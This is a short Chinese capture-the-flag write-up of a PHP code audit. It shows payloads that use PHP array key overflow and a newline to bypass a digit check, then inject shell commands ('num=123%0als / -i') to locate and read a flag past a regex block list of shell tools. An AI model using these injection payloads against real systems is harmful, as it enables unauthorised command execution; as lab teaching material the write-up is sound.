打开页面,发现一串代码,代码审计:
解决目的就是读懂代码,然后构造出payload绕过限制:
- if($stuff === $array && $stuff[0] != 'admin'):stuff[0]不能等于admin,但stuff又是等于array的,代码中的//php5.5.9 提示肯定是有用的,去查阅资料有PHP数组key溢出问题。
- preg_match("/^d+$/im",$num):检测是不是全是数字,
- preg_match("/sh|wget|nc|python|php|perl|?|flag|}|cat|echo|*|^|]|\\|'|"||/i",$num):相当于一个黑名单,过滤了一些
接下来构造payload,绕过成功:
stuff[4294967296]=admin&stuff[1]=user&num=123用跨行%0a去绕过数字检测,构造payload看目录:num=123%0als
num=123&%0als /:
发现有flag,但由于这道题过滤了cat等,所以通过innode索引结点去看flag(在Linux中,每个文件都有自己的innode编号的,可以通过innode表去查找目标文件):num=123%0als / -i
flag的innode为15993546,用tac去查看flag文件,拿到flag:
(反引号作用就是先执行反引号里面的内容)
总结:
数组key溢出漏洞
跨行检测绕过
tac、innode使用



